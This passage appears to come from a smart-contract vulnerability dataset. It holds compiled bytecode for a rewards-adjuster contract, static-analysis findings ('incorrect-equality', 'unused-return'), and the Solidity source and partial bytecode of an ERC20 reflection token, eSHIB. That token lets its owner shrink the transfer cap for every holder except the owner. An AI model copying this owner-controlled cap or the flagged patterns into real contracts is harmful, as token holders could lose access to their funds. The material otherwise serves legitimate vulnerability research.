d5b428155600254604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561083557600080fd5b505afa158015610849573d6000803e3d6000fd5b505050506040513d602081101561085f57600080fd5b5051600354604080516315f789a960e21b815290519293506000926001600160a01b03909216916357de26a491600480820192602092909190829003018186803b1580156108ac57600080fd5b505afa1580156108c0573d6000803e3d6000fd5b505050506040513d60208110156108d657600080fd5b5051600184015490915060009061090a90610904906108f6908690611573565b670de0b6b3a7640000611573565b836115c9565b905060006109a8610927836b033b2e3c9fd0803ce8000000611573565b600560009054906101000a90046001600160a01b03166001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b505050506040513d60208110156109a157600080fd5b50516115c9565b90506109c26109bb828760030154611573565b60646115c9565b905060006109d76109bb838860040154611573565b90506109e9600083116000831161156f565b610a245760405162461bcd60e51b815260040180806020018281038252602681526020018061166b6026913960400191505060405180910390fd5b6004805460408051632346554960e01b81526001600160a01b038c8116948201949094526001600160e01b03198b166024820152604481018590529051929091169163234655499160648082019260009290919082900301818387803b158015610a8d57600080fd5b505af1158015610aa1573d6000803e3d6000fd5b50506006546001600160a01b03169150633d285a6f905089610acf846b033b2e3c9fd0803ce8000000611573565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b50505050876001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b158015610b9c57600080fd5b505af1158015610bb0573d6000803e3d6000fd5b50505050876001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015610c1b57600080fd5b505af1158015610c2f573d6000803e3d6000fd5b5050604080516001600160a01b038c1681526020810186905280820185905290517f29b645c65866941783ce7be60a8762da026db71b5438289e57ebf7cfed6cb2c19350908190036060019150a15050505050505050565b6002546001600160a01b031681565b6004546001600160a01b031681565b6103e881565b33600090815260208190526040902054600114610cf95760405162461bcd60e51b815260040180806020018281038252602c8152602001806118d0602c913960400191505060405180910390fd5b6001600160a01b03821660009081526001602090815260408083206001600160e01b031985168452909152902054610d625760405162461bcd60e51b815260040180806020018281038252602b8152602001806117c5602b913960400191505060405180910390fd5b6001600160a01b03821660008181526001602081815260408084206001600160e01b031987168086529083528185208581559384018590556002840185905560038401859055600490930193909355825191825291517f27deac06df27e6e639c18b3359e9805cd9834be10fa04c491c27cb5de28133ab929181900390910190a25050565b33600090815260208190526040902054600114610e355760405162461bcd60e51b815260040180806020018281038252602c8152602001806118d0602c913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6003546001600160a01b031681565b33600090815260208190526040902054600114610ee35760405162461bcd60e51b815260040180806020018281038252602c8152602001806118d0602c913960400191505060405180910390fd5b6001600160a01b038616610f285760405162461bcd60e51b81526004018080602001828103825260238152602001806117a26023913960400191505060405180910390fd5b60008411610f675760405162461bcd60e51b815260040180806020018281038252602781526020018061174a6027913960400191505060405180910390fd5b610f7a60648310156103e884111561156f565b610fb55760405162461bcd60e51b81526004018080602001828103825260348152602001806116916034913960400191505060405180910390fd5b610fc860648210156103e883111561156f565b6110035760405162461bcd60e51b81526004018080602001828103825260338152602001806116e76033913960400191505060405180910390fd5b818110156110425760405162461bcd60e51b815260040180806020018281038252603281526020018061189e6032913960400191505060405180910390fd5b600083116110815760405162461bcd60e51b81526004018080602001828103825260258152602001806118796025913960400191505060405180910390fd5b4583106110bf5760405162461bcd60e51b815260040180806020018281038252602f8152602001806118fc602f913960400191505060405180910390fd5b6001600160a01b03861660009081526001602090815260408083206001600160e01b031989168452909152902080541561112a5760405162461bcd60e51b815260040180806020018281038252602c8152602001806117f0602c913960400191505060405180910390fd5b42815560028101859055600181018490556003810183905560048101829055604080516001600160e01b03198816815260208101879052808201869052606081018590526080810184905290516001600160a01b038916917f19035cbcac29754c5f06cc9447cb46cd2645d92be1bd34988c539da5aa245919919081900360a00190a250505050505050565b336000908152602081905260409020546001146112045760405162461bcd60e51b815260040180806020018281038252602c8152602001806118d0602c913960400191505060405180910390fd5b60008111611259576040805162461bcd60e51b815260206004820181905260248201527f4d696e4d61785265776172647341646a75737465722f6e756c6c2d76616c7565604482015290519081900360640190fd5b6001600160a01b03841660009081526001602090815260408083206001600160e01b031987168452909152902080546112c35760405162461bcd60e51b815260040180806020018281038252602b8152602001806117c5602b913960400191505060405180910390fd5b827433b0b9a0b6b7bab73a2337b922bc32b1baba34b7b760591b141561132d574582106113215760405162461bcd60e51b815260040180806020018281038252603181526020018061181c6031913960400191505060405180910390fd5b600181018290556114c2565b826a75706461746544656c617960a81b141561134f57600281018290556114c2565b82733130b9b2a932bbb0b93226bab63a34b83634b2b960611b141561140b5761138160648310156103e884111561156f565b6113bc5760405162461bcd60e51b81526004018080602001828103825260348152602001806116916034913960400191505060405180910390fd5b80600401548211156113ff5760405162461bcd60e51b815260040180806020018281038252603281526020018061189e6032913960400191505060405180910390fd5b600381018290556114c2565b827236b0bc2932bbb0b93226bab63a34b83634b2b960691b14156106c45761143c60648310156103e884111561156f565b6114775760405162461bcd60e51b81526004018080602001828103825260338152602001806116e76033913960400191505060405180910390fd5b80600301548210156114ba5760405162461bcd60e51b815260040180806020018281038252603281526020018061189e6032913960400191505060405180910390fd5b600481018290555b604080516001600160a01b03871681526001600160e01b0319861660208201528082018590526060810184905290517f88d1df549626311d5a3b057e3cf7f309557bf79aea71600180e6c8c2fe34d74b9181900360800190a15050505050565b606481565b808201828110156115695760405162461bcd60e51b815260040180806020018281038252602c81526020018061184d602c913960400191505060405180910390fd5b92915050565b1690565b600081158061158e5750508082028282828161158b57fe5b04145b6115695760405162461bcd60e51b81526004018080602001828103825260318152602001806117716031913960400191505060405180910390fd5b600080821161161f576040805162461bcd60e51b815260206004820181905260248201527f4d696e4d61785265776172647341646a75737465722f6469762d792d6e756c6c604482015290519081900360640190fd5b81838161162857fe5b049050828111156115695760405162461bcd60e51b815260040180806020018281038252602181526020018061192b6021913960400191505060405180910390fdfe4d696e4d61785265776172647341646a75737465722f6e756c6c2d6e65772d726577617264734d696e4d61785265776172647341646a75737465722f696e76616c69642d626173652d7265776172642d6d756c7469706c6965724d696e4d61785265776172647341646a75737465722f6e756c6c2d616464726573734d696e4d61785265776172647341646a75737465722f696e76616c69642d6d61782d7265776172642d6d756c7469706c6965724d696e4d61785265776172647341646a75737465722f6d6f646966792d756e7265636f676e697a65642d706172616d734d696e4d61785265776172647341646a75737465722f6e756c6c2d7570646174652d64656c61794d696e4d61785265776172647341646a75737465722f6d756c7469706c792d75696e742d75696e742d6f766572666c6f774d696e4d61785265776172647341646a75737465722f6e756c6c2d72656365697665724d696e4d61785265776172647341646a75737465722f6e6f6e2d6578697374656e742d72656365697665724d696e4d61785265776172647341646a75737465722f72656365697665722d616c72656164792d61646465644d696e4d61785265776172647341646a75737465722f696e76616c69642d6761732d616d6f756e742d666f722d657865634d696e4d61785265776172647341646a75737465722f6164642d75696e742d75696e742d6f766572666c6f774d696e4d61785265776172647341646a75737465722f6e756c6c2d6761732d616d6f756e744d696e4d61785265776172647341646a75737465722f6d61782d6d756c2d736d616c6c65722d7468616e2d6d696e2d6d756c4d696e4d61785265776172647341646a75737465722f6163636f756e742d6e6f742d617574686f72697a65644d696e4d61785265776172647341646a75737465722f6c617267652d6761732d616d6f756e742d666f722d657865634d696e4d61785265776172647341646a75737465722f6469762d696e76616c6964a2646970667358221220d2a7575114401a91b4b089aea236a037c0658bd6036ee60459f9efcf93b36e8d64736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,180 |
0x5a1db7adadd2083aaf33345ff5b78087db9b9a96
|
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract eSHIB is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'ETHEREUM SHIB';
string private _symbol = 'eSHIB';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b91506